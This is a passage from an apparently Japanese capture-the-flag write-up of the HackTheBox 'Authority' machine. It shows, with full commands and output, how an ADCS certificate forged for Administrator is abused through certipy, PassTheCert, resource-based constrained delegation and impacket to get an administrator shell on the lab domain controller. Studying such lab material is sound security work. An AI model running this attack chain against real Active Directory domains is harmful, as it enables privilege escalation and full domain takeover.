  File "/usr/local/lib/python3.11/dist-packages/certipy/entry.py", line 60, in main
    actions[options.action](options)
  File "/usr/local/lib/python3.11/dist-packages/certipy/commands/parsers/req.py", line 12, in entry
    req.entry(options)
  File "/usr/local/lib/python3.11/dist-packages/certipy/commands/req.py", line 767, in entry
    request.request()
  File "/usr/local/lib/python3.11/dist-packages/certipy/commands/req.py", line 718, in request
    cert = self.interface.request(csr, attributes)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/certipy/commands/req.py", line 208, in request
    response = self.dce.request(request)
               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 859, in request
    answer = self.recv()
             ^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 1332, in recv
    raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)
impacket.dcerpc.v5.rpcrt.DCERPCException: Unknown DCE RPC fault status code: 00000721

DCとのやり取りで時刻同期ズレのエラーが発生するのようなのでntpdateを使って解消するようにしましょう。

┌──(root㉿kali)-[~/work]
└─# ntpdate 10.129.11.152
2023-07-19 02:48:28.172973 (-0400) +14391.840508 +/- 0.138896 10.129.11.152 s1 no-leap
CLOCK: time stepped by 14391.840508

┌──(root㉿kali)-[~/work]
└─# certipy req -username TEST$@AUTHORITY.HTB -password 123456 -ca AUTHORITY-CA -dc-ip 10.129.11.152 -template CorpVPN -upn Administrator@AUTHORITY.HTB -debug -target authority.authority.htb
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'authority.authority.htb' at '10.129.11.152'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.129.11.152[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.129.11.152[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 16
[*] Got certificate with UPN 'Administrator@AUTHORITY.HTB'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

administrator.pfxが作成されたので、此奴でKerberousさんに認証要求します。

┌──(root㉿kali)-[~/work]
└─# certipy auth -pfx administrator.pfx -dc-ip 10.129.11.152 
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@authority.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

ダメと言われます。
えぇ...明らかこの前のEscapeより難しいぞ。

PassTheCert

Exploit考察

Smart Card Logonを利用するExtended Key Usagesが証明書に含まれてない場合、上記のKDC_ERR_PADATA_TYPE_NOSUPPエラーになることがあるようです。このような状況では証明書を使ったKerberos認証での権限昇格は出来ません。

なので、別のプロトコルに対して偽装した証明書で悪さしようという考えになる。TLSを利用している認証はLDAPSなどがある。このプロトコルを使って攻撃しようといった考えですな。

この考え方については以下のPassTheCertのドキュメントに詳しく記載されているので読んでみればいいかなと思う。

ここらのドキュメントに攻撃の具体的な実施方法（上記ではResource-Based Constrained Delegation攻撃）も記載されている。マシン作成ができ、_msDS-AllowedToActOnBehalfOfOtherIdentity_の設定も証明書があるのでうまくいきそう。試す価値はあるとみる。RBCD攻撃については以下を参考にして欲しい。

まずはこの攻撃を実施するためにPassTheCert.exeを入手する。以下リポジトリからバイナリを拝借。

PassTheCert実施

Administratorを騙るDESKTOP-1337$を作成する。

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> .\PassTheCert.exe --server 127.0.0.1 --cert-path C:\Users\svc_ldap\Documents\administrator.pfx --add-computer --computer-name DESKTOP-1337$
No password given, generating random one.
Generated password: 99U1VOMhRX6LEvISJJQ9PMo07osUJLcp
Success

ドメインコントローラーauthorityのディレクトリツリーを確認するために以下コマンドを打つ。

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> Get-DomainComputer authority


pwdlastset                               : 6/22/2023 2:29:41 PM
logoncount                               : 1322
msds-generationid                        : {164, 41, 7, 98...}
serverreferencebl                        : CN=AUTHORITY,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=authority,DC=htb
badpasswordtime                          : 12/31/1600 7:00:00 PM
msds-additionaldnshostname               : {authority.htb.corp, AUTHORITY}
distinguishedname                        : CN=AUTHORITY,OU=Domain Controllers,DC=authority,DC=htb
objectclass                              : {top, person, organizationalPerson, user...}
displayname                              : AUTHORITY$
lastlogontimestamp                       : 7/18/2023 8:30:26 PM
name                                     : AUTHORITY
primarygroupid                           : 516
objectsid                                : S-1-5-21-622327497-3269355298-2248959698-1000
samaccountname                           : AUTHORITY$
localpolicyflags                         : 0
codepage                                 : 0
samaccounttype                           : MACHINE_ACCOUNT
whenchanged                              : 7/19/2023 10:42:41 AM
accountexpires                           : NEVER
cn                                       : AUTHORITY
operatingsystem                          : Windows Server 2019 Standard
instancetype                             : 4
msdfsr-computerreferencebl               : CN=AUTHORITY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,CN=System,DC=authority,DC=htb
objectguid                               : 23c88ddb-c76e-41bd-8b75-dd04e08431cc
operatingsystemversion                   : 10.0 (17763)
lastlogoff                               : 12/31/1600 7:00:00 PM
msds-allowedtoactonbehalfofotheridentity : {1, 0, 4, 128...}

こいつのmsDS-AllowedToActOnBehalfOfOtherIdentityに作成したDESKTOP-1337$のSIDを追加します。
そのためにSIDを確認しておきます。

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> Get-DomainComputer DESKTOP-1337


pwdlastset             : 7/19/2023 7:14:53 AM
logoncount             : 0
badpasswordtime        : 12/31/1600 7:00:00 PM
distinguishedname      : CN=DESKTOP-1337,CN=Computers,DC=authority,DC=htb
objectclass            : {top, person, organizationalPerson, user...}
name                   : DESKTOP-1337
objectsid              : S-1-5-21-622327497-3269355298-2248959698-12106
samaccountname         : DESKTOP-1337$
localpolicyflags       : 0
codepage               : 0
samaccounttype         : MACHINE_ACCOUNT
accountexpires         : NEVER
countrycode            : 0
whenchanged            : 7/19/2023 11:14:53 AM
instancetype           : 4
usncreated             : 266585
objectguid             : 41ecd55b-1ede-450f-bbc3-440d73db785f
lastlogoff             : 12/31/1600 7:00:00 PM
objectcategory         : CN=Computer,CN=Schema,CN=Configuration,DC=authority,DC=htb
dscorepropagationdata  : 1/1/1601 12:00:00 AM
serviceprincipalname   : {RestrictedKrbHost/DESKTOP-1337.authority.htb, RestrictedKrbHost/DESKTOP-1337, HOST/DESKTOP-1337.authority.htb, HOST/DESKTOP-1337}
lastlogon              : 12/31/1600 7:00:00 PM
badpwdcount            : 0
cn                     : DESKTOP-1337
useraccountcontrol     : WORKSTATION_TRUST_ACCOUNT
whencreated            : 7/19/2023 11:14:53 AM
primarygroupid         : 515
iscriticalsystemobject : False
usnchanged             : 266587
dnshostname            : DESKTOP-1337.authority.htb

よし、確認できたのでDESKTOP-1337$のSIDを追加します。

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> .\PassTheCert.exe --server 127.0.0.1 --cert-path C:\Users\svc_ldap\Documents\administrator.pfx --rbcd --target "CN=AUTHORITY,OU=Domain Controllers,DC=authority,DC=htb" --sid "S-1-5-21-622327497-3269355298-2248959698-12106"
msDS-AllowedToActOnBehalfOfOtherIdentity attribute exists. Saving old value to disk.
You can restore it using arguments:
        --target "CN=AUTHORITY,OU=Domain Controllers,DC=authority,DC=htb" --restore CN=AUTHORITY,OU=Domain_Controllers,DC=authority,DC=htb_msDS-AllowedToActOnBehalfOfOtherIdentity_20230719T071538Z.txt
Success

後はRBCD攻撃を実施するだけです。

RBCD攻撃

MS-SFU Kerberosの拡張機能（S4U）を使ってTGSからサービスチケット（ST）をゲットしに行きます。
impacketのgetServiceTicketで制約付き委任の代理要求を行えるので便利です。

┌──(root㉿kali)-[~/work]
└─# impacket-getST -spn 'cifs/authority.authority.htb' -impersonate Administrator 'authority.htb/DESKTOP-1337$:99U1VOMhRX6LEvISJJQ9PMo07osUJLcp'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Administrator.ccacheにSTが格納されているので、これを環境変数に埋め込みます。

┌──(root㉿kali)-[~/work]
└─# export KRB5CCNAME=Administrator.ccache

cifsへのSTが手に入ったのでそのまま突撃します。

┌──(root㉿kali)-[~/work]
└─# impacket-wmiexec -k -no-pass authority.htb/Administrator@authority.authority.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] SMB SessionError: STATUS_MORE_PROCESSING_REQUIRED({Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.)

ぐぬぬ、、、時刻を修正する。

┌──(root㉿kali)-[~/work]
└─# ntpdate 10.129.7.87                                                             
2023-07-19 07:17:42.120146 (-0400) +14397.602014 +/- 0.123917 10.129.7.87 s1 no-leap
CLOCK: time stepped by 14397.602014

これの流れを何度か繰り返してやっと入ることが出来ました。

┌──(root㉿kali)-[~/work]
└─# impacket-wmiexec -k -no-pass authority.htb/Administrator@authority.authority.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

Administrator権限ゲットだぜ！！！

まとめ

これで特権昇格に成功し、Administrator権限を奪取できました。
脆弱性を発見してからの悪用が難しく、PassTheCertのよい勉強になります。
後半の内容である権限昇格にADCSを悪用する方法はLTで発表した以下資料もあるので参考にしてみてください。

個人的にEscapeの上位互換のBoxだと感じました。
Hardでは？？？？

明日は@takao-hさんです。